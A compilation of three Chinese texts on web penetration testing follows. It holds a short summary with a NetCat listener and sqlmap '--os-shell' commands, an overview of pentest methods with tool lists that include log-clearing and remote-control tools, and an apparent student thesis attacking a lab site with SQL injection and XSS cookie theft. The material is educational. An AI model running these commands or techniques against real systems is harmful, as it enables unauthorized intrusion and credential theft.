第一篇:滲透測試總結(范文)
XSS、SQL注入、文件上傳、弱口令、備份信息泄露 XSS ? 分析漏洞成因
? 構造payload ? NetCat監聽端口
nc.exe-lnvp 8888 ? 利用cookie登錄 ? 獲取權限
弱口令
? Burpsuit攔截數據包 ? Intruder模塊 ? 標記密碼 ? 加載字典 ? 開始爆破 ? 查看返回值
SQL注入
? 抓包 ? Decoder as url ? 保存post請求 ? Sqlmap.py
sqlmap.py-r C:Joomla.txt-p filter[category_id] ? SQLmap OS-shell
sqlmap.exe-r C:Joomla.txt-p filter[category_id]--os-shell ? 獲取交互式shell
第二篇:軟件工程-滲透測試
火龍果?整理 uml.org.cn
滲透測試技術
目錄
1.1滲透測試概念.....................................................................................................................2 1.2滲透測試原理.....................................................................................................................2 1.3滲透測試目標.....................................................................................................................2 1.4滲透測試特點.....................................................................................................................3 1.5滲透測試流程和授權.........................................................................................................4
1.5.1滲透測試流程..........................................................................................................4 1.5.2滲透測試授權..........................................................................................................4 1.6滲透測試方法.....................................................................................................................5
1.6.1測試方法分類..........................................................................................................5 1.6.2信息收集..................................................................................................................5 1.6.3端口掃描..................................................................................................................6 1.6.4權限提升..................................................................................................................6 1.6.5不同網段/Vlan之間的滲透....................................................................................6 1.6.6溢出測試..................................................................................................................6 1.6.7SQL注入攻擊..........................................................................................................7 1.6.8檢測頁面隱藏字段..................................................................................................7 1.6.9跨站攻擊..................................................................................................................7 1.6.10WEB應用測試.......................................................................................................7 1.6.11代碼審查................................................................................................................8 1.6.12第三方軟件誤配置................................................................................................8 1.6.13Cookie利用............................................................................................................8 1.6.14后門程序檢查........................................................................................................8 1.6.15VOIP測試..............................................................................................................8
火龍果?整理 uml.org.cn 1.6.16其他測試................................................................................................................9 1.7常用滲透測試工具.............................................................................................................9
1.7.1應用層工具............................................................................................................10 1.7.2系統層工具............................................................................................................10 1.7.3網絡層工具............................................................................................................10 1.7.4其他方法和工具....................................................................................................11 1.8滲透測試風險規避措施...................................................................................................11
1.1滲透測試概念
滲透測試(Penetration Test), 是完全模擬黑客可能使用的攻擊技術和漏洞發現技術,對目標系統的安全做深入的探測,發現系統最脆弱的環節。
web網絡滲透測試:主要通過對目標系統信息的全面收集、對系統中網路設備的探測、對服務器系統主機的漏洞掃描、對應用平臺及數據庫系統的安全性掃描及通過應用系統程序的安全性滲透測試等手段來完成對整個web系統的安全性滲透檢測。該滲透測試是一個完整、系統的測試過程,涵蓋了網絡層面、主機層面、數據層面以及應用服務層面的安全性測試。
1.2滲透測試原理
滲透測試主要依據CVE(Common Vulnerabilities & Exposures公共漏洞和暴露)已經發現的安全漏洞,以及隱患漏洞。模擬入侵者的攻擊方法對應用系統、服務器系統和網絡設備進行非破壞性質的攻擊性測試。
1.3滲透測試目標
滲透測試利用各種安全掃描器對網站及相關服務器等設備進行非破壞性質的模擬入侵者攻擊,目的是侵入系統并獲取系統信息并將入侵的過程和細節總結編寫成測試報告,由此確定存在的安全威脅,并能及時提醒安全管理員完善安全策略,降低安全風險。
人工滲透測試和工具掃描可以很好的互相補充。工具掃描具有很好的效率和速度,但是存在一定的誤報率,不能發現高層次、復雜的安全問題;滲透測試對測試者的專業技能要
火龍果?整理 uml.org.cn 求很高(滲透測試報告的價值直接依賴于測試者的專業技能),但是非常準確,可以發現邏輯性更強、更深層次的弱點。
1.4滲透測試特點
入侵者的攻擊入侵需要利用目標網絡的安全弱點,滲透測試也是同樣的道理。測試人員模擬真正的入侵者入侵攻擊方法,以人工滲透為主,輔助以攻擊工具的使用,以保證整個滲透測試過程都在可以控制和調整的范圍之內,同時確保對網絡沒有造成破壞性的損害。
由于采用可控制的、非破壞性質的滲透測試,因此不會對被評估的客戶信息系統造成嚴重的影響。在滲透測試結束后,客戶信息系統將基本保持一致。
火龍果?整理 uml.org.cn 1.5滲透測試流程和授權 1.5.1滲透測試流程
1.5.2滲透測試授權
測試授權是進行滲透測試的必要條件。用戶應對滲透測試所有細節和風險的知曉、所有過程都在用戶的控制下進行。
火龍果?整理 uml.org.cn 1.6滲透測試方法 1.6.1測試方法分類
根據滲透目標分類: ? 主機操作系統滲透:
對Windows、Solaris、AIX、Linux、SCO、SGI等操作系統進行滲透測試。? 數據庫系統滲透:
對MS-SQL、Oracle、MySQL、Informix、Sybase、DB2等數據庫應用系統進行滲透測試。? 應用系統滲透:
對滲透目標提供的各種應用,如ASP、CGI、JSP、PHP等組成的www.tmdps.cn 信息收集的方法包括主機網絡掃描、操作類型判別、應用判別、賬號掃描、配置判別等等。模擬入侵攻擊常用的工具包括Nmap、Nessus、X-Scan等,操作系統中內置的許多工具(例如telnet)也可以成為非常有效的模擬攻擊入侵武器。
1.6.3端口掃描
通過對目標地址的TCP/UDP端口掃描,確定其所開放的服務的數量和類型,這是所有滲透測試的基礎。通過端口掃描,可以基本確定一個系統的基本信息,結合測試人員的經驗可以確定其可能存在,以及被利用的安全弱點,為進行深層次的滲透提供依據。
1.6.4權限提升
通過收集信息和分析,存在兩種可能性,其一是目標系統存在重大弱點:測試人員可以直接控制目標系統,然后直接調查目標系統中的弱點分布、原因,形成最終的測試報告;其二是目標系統沒有遠程重大弱點,但是可以獲得遠程普通權限,這時測試人員可以通過該普通權限進一步收集目標系統信息。接下來,盡最大努力獲取本地權限,收集本地資料信息,尋求本地權限升級的機會。這些不停的信息收集分析、權限升級的結果將構成此次項目整個滲透測試過程的輸出。
1.6.5不同網段/Vlan之間的滲透
這種滲透方式是從某內/外部網段,嘗試對另一網段/Vlan進行滲透。這類測試通??赡苡玫降募夹g包括:對網絡設備和無線設備的遠程攻擊;對防火墻的遠程攻擊或規則探測、規避嘗試。信息的收集和分析伴隨著每一個滲透測試步驟,每一個步驟又有三個組成部分:操作、響應和結果分析。
1.6.6溢出測試
當測試人員無法直接利用帳戶口令登陸系統時,也會采用系統溢出的方法直接獲得系統控制權限,此方法有時會導致系統死機或從新啟動,但不會導致系統數據丟失,如出現死機等故障,只要將系統從新啟動并開啟原有服務即可。一般情況下,如果未授權,將不會進行此項測試!
火龍果?整理 uml.org.cn 1.6.7SQL注入攻擊
SQL注入常見于應用了SQL 數據庫后端的網站服務器,入侵者通過提交某些特殊SQL語句,最終可能獲取、篡改、控制網站服務器端數據庫中的內容。此類漏洞是入侵者最常用的入侵方式之一。
1.6.8檢測頁面隱藏字段
網站應用系統常采用隱藏字段存儲信息。許多基于網站的電子商務應用程序用隱藏字段來存儲商品價格、用戶名、密碼等敏感內容。惡意用戶通過操作隱藏字段內容達到惡意交易和竊取信息等行為,是一種非常危險的漏洞。
1.6.9跨站攻擊
入侵者可以借助網站來攻擊訪問此網站的終端用戶,來獲得用戶口令或使用站點掛馬來控制客戶端。
1.6.10WEB應用測試
Web腳本及應用測試專門針對Web及數據庫服務器進行。根據最新的統計,腳本安全弱點為當前Web系統,尤其是存在動態內容的Web系統比較嚴重的安全弱點之一。利用腳本相關弱點輕則可以獲取系統其他目錄的訪問權限,重則將有可能取得系統的控制權限。因此對于含有動態頁面的Web、數據庫等系統,Web腳本及應用測試將是必不可少的一個環節。在Web腳本及應用測試中,可能需要檢查的部份包括:
? 檢查應用系統架構,防止用戶繞過系統直接修改數據庫; ? 檢查身份認證模塊,用以防止非法用戶繞過身份認證; ? 檢查數據庫接口模塊,用以防止用戶獲取系統權限; ? 檢查文件接口模塊,防止用戶獲取系統文件; ? 檢查其他安全威脅;
火龍果?整理 uml.org.cn 1.6.11代碼審查
對受測業務系統站點進行安全代碼審查的目的是要識別出會導致安全問題和事故的不安全編碼技術和漏洞。這項工作雖然可能很耗時,但是必須進行,代碼審查測試工作包括如下工作但不僅限于此:
? 審查代碼中的XSS腳本漏洞; ? 審查代碼中的 SQL 注入漏洞; ? 審查代碼中的潛在緩沖區溢出;
? 審查識別允許惡意用戶啟動攻擊的不良代碼技術; ? 其他軟件編寫錯誤及漏洞的尋找及審查。
1.6.12第三方軟件誤配置
第三方軟件的錯誤設置可能導致入侵者利用該漏洞構造不同類型的入侵攻擊。
1.6.13Cookie利用
網站應用系統常使用cookies 機制在客戶端主機上保存某些信息,例如用戶ID、口令、時戳等。入侵者可能通過篡改cookies 內容,獲取用戶的賬號,導致嚴重的后果。
1.6.14后門程序檢查
系統開發過程中遺留的后門和調試選項可能被入侵者所利用,導致入侵者輕易地從捷徑實施攻擊。
1.6.15VOIP測試
在對受測網絡進行滲透測試時,將會進行VoIP業務的安全測試,所有影響數據網絡的攻擊都可能會影響到VoIP網絡,如病毒、垃圾郵件、非法侵入、DoS、劫持電話、偷聽、數據嗅探等,因此,首先會對VoIP網絡進行安全測試,接著對VoIP服務器進行測試,這些服務器常常是惡意攻擊者的靶子,因為它們是任何一個VoIP網絡的心臟。服務器存在的致命弱點包括其操作系統、服務及它所支持的應用軟件,可能都會存在安全漏洞。要將黑客對服務
火龍果?整理 uml.org.cn 器的攻擊降至最小程度,就要對VoIP網絡及其服務器、軟終端進行全面的安全測試,以查找安全隱患,協助用戶技術人員修補這些漏洞。
1.6.16其他測試
在滲透測試中還需要借助暴力破解、網絡嗅探等其他方法,目的也是為獲取用戶名及密碼。
1.7常用滲透測試工具
可能使用到的命令和工具包括: 命令:
? Google搜索和攻擊;
? DNS工具:例如:Whois,nslookup, DIG等等; ?
各種測試命令;
?
在線網絡數據庫:Ripe, Afrinic, APNIC, ARIN LACNIC 工具:
? 主流商業掃描器:ISS Internet Scanner、NEUUS、Core Impact、NSfocus極光掃描器.? 黑客常用端口掃描器:如:NMAP、Superscan? ? SNMP Sweepers(Solarwinds)?
? Website mirror tools(HTTrack, teleport pro)?
? 無線網絡掃描工具(Netstumbler, Kissmet, Wellenreiter, Airsnort)? WEB漏掃工具AppScan,wvs, WebInspect, Nstalker、nikto、google hack ? 溢出工具:Metasploit ? 破解工具:John the Ripper、THC Hydra、L0phtcrack、Aircrack、Airsnort、Pwdump ? Sniffer工具:Wireshark、Kismet、Tcpdump、Cain and Abel Ettercap、NetStumbler
火龍果?整理 uml.org.cn 1.7.1應用層工具
? Acunetix Web Vulnerability Scanner(漏洞掃描工具)
這是一款網絡漏洞掃描工具。通過網絡爬蟲測試網站安全,檢測流行的攻擊 ,如跨站點腳本、sql 注入等。在被入侵者攻擊前掃描購物車、表格、安全區域和其他Web應用程序。
1.7.2系統層工具
? SSS6.0掃描器漢化版
Shadow Security Scanner v6.67.58,02月09日發布,俄羅斯安全界非常專業的安全漏洞掃描軟件,具有安全掃描,口令檢查,操作系統檢查等強大功能,支持在線升級。
? ISS漏洞掃描器
ISS(國際互聯網安全系統公司)是在信息安全領域中專門致力于反黑客攻擊的專業公司。目前它的主要產品有四大系列:Real Secure(實時入侵監測器)、Internet Scanner(互聯網掃描器)、System Scanner(系統掃描器)、Database Scanner(數據庫掃描器)。其中Real Secure和Internet Scanner是其拳頭產品,Database Scanner是其獨有的專用數據庫防黑安全產品。
? nmap端口掃描工具
nmap是目前為止最廣為使用的國外端口掃描工具之一。它可以很容易的安裝到Windows和unix操作系統中,包括mac os x(通過configure、make、make install等命令)然后對主機和網絡設備進行端口掃描,以尋找目標主機的漏洞。
1.7.3網絡層工具
? SolarWinds Engineer’s Edition 是一套非常全面的網絡工具庫,包括了網絡恢復、錯誤監控、性能監控和管理工具等。除了包含Professional PLUS Edition中所有的工具外,Engineer’s Edition還增加了新的Swich Port Mapper工具,它可以switch上自動執行Layer 2和Layer 3恢復。此工程師版包含了Solarwinds MIB瀏覽器和網絡性能監控器(Network Performance Monitor),以及其他附加網絡管理工具。
火龍果?整理 uml.org.cn 1.7.4其他方法和工具
? Whois命令——是一種Internet目錄服務,whois提供了在Internet上一臺主機或者某個域的所有者信息,如管理員的姓名、地址、電話號碼等,這些信息通常保存在Internlc的數據庫內。一旦得到了Whois記錄,從查詢的結果還可以得知primary和secondary域名服務器的信息。
? Nslookup——一種DNS的排錯工具,可以使用nslookup命令把你的主機偽裝成secondaryDNS服務器,如果成功便可以要求從主DNS服務器進行區域傳送,如果傳送成功,可以獲得大量有用的信息。
? Traceroute——用于路由追蹤,判斷從你的主機到目標主機經過了哪些路由器、跳計數、響應時間、路由器通斷情況等,大多數的操作系統自帶了自己版本的traceroute程序。
? 端口掃描程序——專用的對網絡端口進行掃描的工具,定義好IP地址范圍和端口后就可以開始掃描。
? 網絡偵查和服務器偵查程序——通過該種程序可以偵查出網絡上已經開啟的端口。如PingPro的工作是是通過監控遠程工程調用服務。
以及測試人員自行編譯的滲透測試工具等等。
1.8滲透測試風險規避措施
滲透測試過程中可能對業務產生影響,可以采取以下措施來減小風險: ? 在滲透測試中不使用含有拒絕服務的測試策略。? 滲透測試時間盡量安排在業務量不大的時段或者晚上。
? 在滲透測試過程中如果出現被評估系統沒有響應的情況,應當立即停止測試工作,與用戶相關人員一起分析情況,在確定原因后,并待正確恢復系統,采取必要的預防措施(比如調整測試策略等)之后,才可以繼續進行。
? 測試人員會與用戶網站系統和安全管理人員保持良好溝通。隨時協商解決出現的各種難題。
? 測試方自控:由滲透測試方對本次測透測試過程中的三方面數據進行完整記錄:操作、響應、分析,最終形成完整有效的滲透測試報告提交給用戶。
火龍果?整理 uml.org.cn
一、基于網站的滲透
1、名稱:Acunetix Web Vulnerability Scanner 6(有收費和免費兩種版本)
功能:網站漏洞掃描器。
平臺:Windows
2、名稱:IBM Rational AppScan 7.8
功能:網站漏洞掃描器。
平臺:Windows
3、名稱:Jsky
功能:網站漏洞掃描器。
平臺:Windows
4、名稱:DTools
功能:阿D的多功能入侵工具,帶掃描、植馬等。
平臺:Windows
5、名稱:wepoff
功能:網站漏洞掃描器。
平臺:Linux / Unix
6、名稱:Domain3.6
功能:網站旁注工具。
平臺:Windows
7、名稱:casi
功能:PHP+MYSQL注射工具。
平臺:Windows
8、名稱:HP WebInspect 7.7
功能:網站漏洞掃描器。
平臺:Windows
9、名稱:php_bug_scanner
功能:PHP程序漏洞掃描器。
平臺:Windows
10、名稱:多線程網站后臺掃描工具
功能:掃描網站后臺管理登陸地址。
平臺:Windows
11、名稱:NStalker
功能:網站爬蟲。
平臺:Windows
12、名稱:挖掘雞 v6.5
功能:挖掘搜索引擎關鍵字。
平臺:Windows
13、名稱:cookie注入工具
功能:cookies注入輔助工具。
平臺:Windows
火龍果?整理 uml.org.cn
14、名稱:httpup
功能:通用HTTP上傳程序。
平臺:Windows
二、基于系統的滲透
1、名稱:nmap
功能:系統端口掃描器。
平臺:Windows
2、名稱:Nessus
功能:系統漏洞掃描器。
平臺:Windows
3、名稱:X-Scan
功能:系統漏洞掃描器。
平臺:Windows
4、名稱:SuperScan
功能:系統端口掃描器。
平臺:Windows
5、名稱:SSS
功能:SSS掃描器。
平臺:Windows
6、名稱:NetCat
功能:瑞士軍刀。
平臺:Windows
7、名稱:Apache Tomcat Crack
功能:Tomcat弱口令掃描器。
平臺:Windows
8、名稱:iisputscanner 功能:中間件掃描器。平臺:Windows
9、名稱:Metasploit framework
功能:滲透輔助工具。
平臺:Windows
10、名稱:Encoder 功能:編碼轉換。平臺:Windows
11、名稱:awstats 功能:日志分析工具。平臺:Windows
12、名稱:logclear 功能:日志清除工具。平臺:Windows
13、名稱:黑刀超級字典生成器
功能:密碼生成。
火龍果?整理 uml.org.cn平臺:Windows
14、名稱:溯雪
功能:破解網站、郵箱、BBS登陸密碼。平臺:Windows
15、名稱:MD5crack 功能:MD5密碼破解工具包。平臺:Windows
16、名稱:webbench 功能:壓力測試工具,可用于DDOS。平臺:Linux/Unix
17、名稱:netstumbler 功能:無線網絡攻擊工具。平臺:Windows
18、名稱:wifizoo 功能:無線網絡攻擊工具。平臺:Linux/Unix
19、名稱:arpsniffer 功能:局域網嗅探抓包。平臺:Windows 20、名稱:ethereal 功能:局域網嗅探抓包。平臺:Windows
21、名稱:SnifferPro 功能:局域網嗅探抓包。平臺:Windows
22、名稱:WinSock Expert 功能:網站上傳抓包。平臺:Windows
23、名稱:logclear 功能:日志清除工具。平臺:Windows
24、名稱:ByShell、DG遠控、PcShare、TeamViewer 功能:遠程控制工具。平臺:Windows
三、基于數據庫的滲透
1、名稱:DSQLTools
功能:啊D 的SQL注入工具。
平臺:Windows
2、名稱:nbsi3.0
功能:MSSQL注入工具。
火龍果?整理 uml.org.cn
平臺:Windows
3、名稱:mysqlweak
功能:Mysql數據庫弱口令掃描器。
平臺:Windows
4、名稱:pangolin
功能:數據庫注入工具。
平臺:Windows
5、名稱:db2utils
功能:DB2漏洞利用工具。
平臺:Linux / Unix
6、名稱:oscanner
功能:Oracle掃描工具。
平臺:Windows
7、名稱:oracle_checkpwd_big
功能:Oracle弱口令猜解工具。
平臺:Windows
第三篇:Web網站滲透測試論文
---------------
裝 訂 線---------------
XXX職業技術學院 畢業設計(論文)
題目: Web網站滲透測試技術研究
系
(院)信息系 專業班級 計算機網絡 學
號 1234567890 學生姓名 XXX 校內導師 XXX 職
稱 講師 企業導師 XXX 職
稱 工程師 企業導師
XXX
職
稱
工程師
摘 要: Web網站滲透測試技術研究
隨著網絡技術的發展和應用領域的擴張,網絡安全問題越來越重要。相對于傳統的系統安全,Web網站的安全得到了越來越多的重視。首先,越來越多的網絡業務不再用專門的客戶機/服務器模式開發,而是運行在Web網站上用瀏覽器統一訪問;其次,和比較成熟的操作系統安全技術比較,Web網站的安全防護技術還不夠完善,當前黑客也把大部分注意力集中在Web滲透技術的發展上,使Web網站安全總體上面臨相當嚴峻的局面。
為了確保Web網站的安全,需要采用各種防護措施。在各種防護措施中,當前最有效的措施是先自己模擬黑客攻擊,對需要評估的網站進行Web滲透測試,找到各種安全漏洞后再針對性進行修補。
本文在對Web網站滲透測試技術進行描述的基礎上,配置了一個實驗用Web網站,然后對此目標網站進行了各種黑客滲透攻擊測試,找出需要修補的安全漏洞,從而加深了對Web安全攻防的理解,有利于以后各種實際的網絡安全防護工作。
關鍵詞:
網絡安全;Web網站;滲透測試
Web site penetration testing technology research
Abstract:
With the expansion of the network technology development and applications, network security issues become increasingly important.Compared with the traditional system security, Web security has got more and more attention.First, more and more network applications no longer develop with specialized client / server model, but run on the Web site and accessed by browser;Secondly, operating system security technology is relatively safe, but secure Web site protection technology is still not perfect, so the most of the current hackers’ attention focused on the development of Web penetration technology, the Web site is facing serious security situation in general.To ensure the security Web site, you need to use a variety of protective measures.In a variety of protective measures, the most effective measure is to own hacking simulation, the need to assess the Web site penetration testing, to find a variety of security vulnerabilities before specific repair.Based on the Web site penetration testing techniques described, the configuration of an experimental Web site, then this target site penetration of various hacker attack test, identify areas that need patching security holes, thereby deepening of Web security offensive understanding, there is conducive to future practical network security protection work.Keywords:
Network Security, Web sites, penetration testing
目錄
第一章 概述................................................................................................1
1.1 網絡安全概述..........................................................................................1 1.2 Web網站面臨的威脅...............................................................................1 1.3 Web滲透測試概述...................................................................................2
第二章 Web滲透測試方案設計...................................................................4
2.1 滲透測試網站創建..................................................................................4 2.2 滲透測試工具選擇..................................................................................4 2.3滲透測試方法...........................................................................................5
第三章 Web滲透測試過程...........................................................................6
3.1 掃描測試Web網站..................................................................................6 3.2 尋找Web安全漏洞..................................................................................7 3.3 SQL注入攻擊測試...................................................................................9 3.4 XSS跨站攻擊測試.................................................................................13 3.5 網馬上傳攻擊測試................................................................................17
第四章 Web網站防護.................................................................................23
4.1 網站代碼修復........................................................................................23 4.2 其它防護措施........................................................................................24
總 結.........................................................................................................25 參考文獻.....................................................................................................25
第一章 概述
1.1 網絡安全概述
隨著網絡技術的發展,網絡已經越來越多地滲透到當前社會生活的方方面面,網上電子商務、電子政務、電子金融等業務日益普及,網絡上的敏感數據也越來越多,自然對網絡安全提出了更高的要求。
根據一般的定義,網絡安全是指網絡系統的硬件、軟件及其系統中的數據受到保護,不因偶然的或者惡意的原因而遭受到破壞、更改、泄露,系統連續可靠正常地運行,網絡服務不中斷。要做到這一點,必須保證網絡系統軟件、應用軟件、數據庫系統具有一定的安全保護功能,并保證網絡部件,如終端、調制解調器、數據鏈路的功能僅僅能被那些被授權的人訪問。
在現實世界中,由于網絡相關的各種軟硬件安裝、配置、管理上面基本不可能做到沒有任何缺陷和漏洞,所以可以說不存在絕對的網絡安全。尤其在當下網絡技術逐漸普及擴散的情境下,防范各種形式的黑客攻擊是網絡資源管理者必須嚴肅考慮的問題。
根據黑客攻擊的類型,大致可以分為兩種,一種是直接針對操作系統本身或應用軟件的安全漏洞進行的攻擊,傳統的注入端口掃描、弱口令爆破、緩沖器溢出都屬于這種類型的攻擊,如果攻擊成功往往可以直接遠程控制目標系統,因此一旦出問題危害極大,但針對這種攻擊的防范技術也比較成熟,采用最新的安全操作系統、強大的防火墻和IDS入侵檢測系統可以將絕大部分入侵企圖拒之門外。另外一種就是針對動態Web網站進行的攻擊,它不像針對系統的攻擊那樣直接,成功后能在目標系統上進行的操作有限,往往還需要進行提權等后續工作,但目前Web網站本身設計上的安全防護水平普遍不高,針對Web網站的防范措施目前也還不夠成熟,所以有安全問題的Web網站非常多,Web網站的攻防也是現在安全技術領域的研究熱點。
1.2 Web網站面臨的威脅
傳統上,網絡應用業務采用C/S(客戶機和服務器)模式,即開發出安裝在普通客戶計算機上的遞交申請業務模塊和安裝在高性能服務器上的響應請求業務模塊,這樣做的好處是性能高,響應速度快,但缺點是需要為每個業務專門開發不同的服務端和客戶端,開發和學習的成本也高,所以現在的趨勢是將所有的服務模塊都放到Web網站上,而客戶機統一使用瀏覽器去訪問Web網站去實現業務功能。
用Web網站形式開發網絡業務有不少優點,首先是客戶端統一為瀏覽器、降低了這方面的學習成本,另一方面,Web網站的主流開發語言(ASP、PHP、JSP等)是動態腳本語
言,比起用C/C++、Java等語言開發C/S程序,難度有所降低,有利于快速開發出所需的項目。但是從安全方面考慮,由于Web網站牽涉到的一些網絡協議先天的不足,以及由于網絡技術發展太快,網站復雜程度隨著需求擴展不斷膨脹,而網站開發程序員的水平和安全意識往往沒有跟上,導致Web網站非常容易出現各種安全漏洞,使黑客能夠對其進行各種形式的攻擊,常見的Web安全漏洞主要有SQL注入和XSS跨站攻擊等。SQL注入
SQL注入(SQL injection)是發生在Web應用程序和后臺數據庫之間的一種安全漏洞攻擊,它的基本原理是:攻擊者精心構建一個包含了SQL指令的輸入數據,然后作為參數傳遞給應用程序,在應用程序沒有對輸入數據做足夠的檢查的情況下,數據庫服務器就會被欺騙,將本來只能作為普通數據的輸入當成了SQL指令并執行。
數據庫是動態網站的核心,包含了很多網站相關的敏感數據,例如管理員的賬號和密碼等,所以一旦數據庫的信息被SQL注入非法查詢,這些敏感信息就會被泄露,導致嚴重后果。此外,SQL注入還可能被用于網頁篡改、網頁掛馬,更為嚴重的是,有些數據庫管理系統支持SQL指令調用一些操作系統功能模塊,一旦被SQL注入攻擊甚至存在服務器被遠程控制安裝后門的風險。XSS跨站攻擊
簡單地說,XSS也是由于Web應用程序對用戶的輸入過濾不嚴而產生,攻擊者利用XSS漏洞可以將惡意的腳本代碼(主要包括html代碼和JavaScript腳本)注入到網頁中,當其他用戶瀏覽這些網頁時,就會觸發其中的惡意腳本代碼,對受害者進行諸如Cookie信息竊取、會話劫持、網絡釣魚等各種攻擊。
與主動攻擊Web服務器端的SQL注入攻擊不同,XSS攻擊發生在瀏覽器客戶端,對服務器一般沒有直接危害,而且總體上屬于等待對方上鉤的被動攻擊,因此XSS這種安全漏洞雖很早就被發現,其危害性卻曾經受到普遍忽視,但隨著網絡攻擊者挖掘出了原來越多的XSS漏洞利用方式,加上Web2.0的流行、Ajax等技術的普及,使得黑客有了更多機會發動XSS攻擊,導致近年來XSS攻擊的安全事件層出不窮,對XSS攻防方面研究的重視程度明顯提高。
當然,Web網站面臨的安全威脅還有很多,并且隨著網絡技術和網絡業務的發展而不斷更新,例如CSRF跨站請求偽造、界面操作劫持等。
1.3 Web滲透測試概述
由于各種安全漏洞,因特網上的Web網站面臨黑客攻擊的風險,因此必須采取措施進行防護工作。傳統防火墻因為必須放行Web服務的端口(一般是80端口),所以對SQL注 2
入、XSS跨站攻擊之類入侵手段沒有防護效果,現在也出現了一些專門用于保護Web網站的安全設備,例如WAF防火墻、安全狗等,但這些設備并不是萬能的,往往容易被高水平的入侵者繞過。最有效的措施還是進行Web滲透測試。
滲透測試時安全模擬黑客可能使用的攻擊技術和漏洞發現技術,對目標系統的安全做深入的探測,發現系統最脆弱的環節。滲透測試能夠直觀的讓管理人員知道自己網絡所面臨的問題。
Web滲透測試主要是對Web應用程序和相應的軟硬件設備配置的安全性進行測試。進行Web滲透測試的安全人員必須遵循一定的滲透測試準則,不能對被測系統進行破壞活動。Web安全滲透測試一般是經過客戶授權的,采取可控制、非控制性質的方法和手段發現目標服務器、Web應用程序和網絡配置中存在的弱點。
通過Web滲透測試后,即可有針對性地對Web網站上的安全漏洞進行修補,最大程度地加固系統,確保安全。
第二章 Web滲透測試方案設計
2.1 滲透測試網站創建
為了研究Web滲透測試技術,我們需要一個測試用的Web網站,由于法律的限制,我們不能直接去攻擊互聯網上的Web網站,所以需要自己創建一個實驗測試用Web網站,這樣不但合法,而且還有利于測試完成后做修補加固和代碼審核工作。
測試Web網站可以創建在本地,也可以創建到自己購買的虛擬空間或云主機上,為了方便起見,這里選擇在云平臺上的一臺Windows 2003虛擬機系統上創建Web網站。
ASP、ASP.NET、PHP和JSP網站需要不同的環境,包括選用Apache、IIS、Nginx或者Weblogic中哪個Web服務器,數據庫也有Access、Microsoft SQL Server、MySQL以及Oracle等多種選擇。至于網站的源代碼,可以自己開發,但一般更常見是到互聯網上去搜尋開源的Web項目下載,例如中國站長網等,可以根據需求自己對網站源代碼進行適當的裁剪修改,也更好達到滲透測試目的。
如圖2-1所示,這里選用了IIS+ASP方案創建了一個測試用Web網站。
圖2-1 創建Web網站
2.2 滲透測試工具選擇
對Web網站進行滲透測試的工作是在一臺能訪問Web網站的攻擊機上實施的,這些測試工作有些可以直接用手工操作,不過如果有適當的工具幫助,往往可以大幅度地提高滲 4
透測試的成功率和效率,因此選擇一套滲透測試用的工具軟件是必備的工作,這些工具一般包括端口掃描器、網站目錄掃描器、網站后臺掃描器、網站漏洞掃描器、SQL注入工具、XSS利用工具、轉碼工具、加解密工具等等。
如圖2-2所示,在本地攻擊機上安裝了一些常用的滲透測試工具。
圖2-2 滲透測試工具
2.3滲透測試方法
準備好測試用Web網站和滲透測試工具后,即可在攻擊機上開始進行Web滲透測試工作,方法是模擬真正黑客的入侵過程,綜合利用各種工具和手段,獲取目標Web網站甚至網站所在服務器上的權限,從而挖掘出網站的各種安全漏洞,為后面的安全加固提供依據。當然,這需要很高的技術水平和熟練的操作,沒有多年的經驗積累是很難在各種情景下都能完成任務的,在下一章,我們就以一個比較簡單的,漏洞比較明顯的Web網站為例演示一下比較典型的Web滲透測試過程。
第三章 Web滲透測試過程
3.1 掃描測試Web網站
如圖3-1所示,滲透測試首先應該先用Nmap之類的端口掃描工具掃描一下目標網站所在的服務器,了解開放的端口服務,目標可能的操作系統類型等信息。這里可以看到,目標服務器的80號端口是開放的,所以Web服務應該是正常的。
圖3-1 端口掃描
然后用瀏覽器打開網站驗證,如圖3-2所示:
圖3-2 Web網站瀏覽
3.2 尋找Web安全漏洞
我們可以用一些自動化的網站掃描工具去檢測網站的常見漏洞,也可以用純手工的方式進行檢測,如圖3-3和3-4所示,在網頁URL后面添加“and 1=1”和“and 1=2”,發現網站返回的情況不同!說明這里存在著SQL注入漏洞。
圖3-3 SQL注入測試
圖3-4 SQL注入測試
如圖3-5所示,在地址欄后面添加“ “> ”,彈窗窗口出現,證明這里存在反射型XSS漏洞。
圖3-5 反射型XSS 如圖3-
6、3-7和3-8所示,在留言板里發表包含“ ”的帖子內容,彈窗窗口出現,證明這里存在存儲型XSS漏洞。
圖3-6 留言板
圖3-7 XSS留言
圖3-8 存儲型XSS 3.3 SQL注入攻擊測試
在上一節已經找到Web網站的SQL注入漏洞的基礎上,我們利用此漏洞去猜解網站后臺數據庫中的賬號和密碼,既可以用工具也可以用手工方式,這里為方便起見選用注入工具,如圖3-9和3-10所示,很快猜解出賬號和密碼。
圖3-9 工具掃描SQL注入漏洞
圖3-10 注入找到后臺賬號密碼
從密碼的形式可以看出不是明文而是原始密碼的MD5散列碼,MD5是單向散列函數,本來是不能破解的,不過如果密碼原文比較簡單,也可能用暴力破解的方式找到原密碼,如圖3-
11、3-12和3-13所示。
圖3-11 破解MD5
圖3-12 破解成功
圖3-13 破解出密碼原文
有了賬號和密碼后,掃描網站的管理后臺地址,如圖3-14所示。
圖3-14 掃描出管理后臺
如圖3-15和3-16所示,用前面注入猜解和破解獲取的賬號和密碼登錄,成功進入Web網站的管理后臺界面。
圖3-15 登錄管理后臺
圖3-16 進入管理后臺
3.4 XSS跨站攻擊測試
前面已經通過手工方式探測到網站存在XSS漏洞,XSS漏洞屬于一種比較被動的安全漏洞,不能用來直接攻擊服務器,而是一部用來攻擊其他客戶端,具體利用的方法和形式很多,下面是利用XSS漏洞竊取管理員cookie的步驟。
圖3-17 XSS利用平臺網站
如圖3-17所示,XSS漏洞攻擊者自己創建一個具有XSS漏洞利用功能的網站,然后為自己創建一個項目,生成具有竊取cookie功能的代碼,如圖3-18所示:
圖3-18 XSS利用代碼
現在攻擊者可以設法利用各種欺騙手段讓其他Web網站用戶執行XSS代碼,這里利用存儲型XSS漏洞,由攻擊者在留言板上發表包含XSS利用代碼的內容插入網站數據庫,如圖3-19所示。
圖3-19 將代碼插入目標Web網站
如圖3-20所示,一旦Web網站的管理員在登錄狀態下查看了留言板,XSS利用代碼就 14
在后臺隱蔽執行了。
圖3-20 管理員被攻擊
此時攻擊者回到XSS網站,會發現自己的項目中返回了數據,如圖3-21所示。
圖3-21 攻擊者收到cookie
如圖3-22所示,攻擊者竊取到了Web網站管理員的cookie信息。
圖3-22 竊取到的cookie值
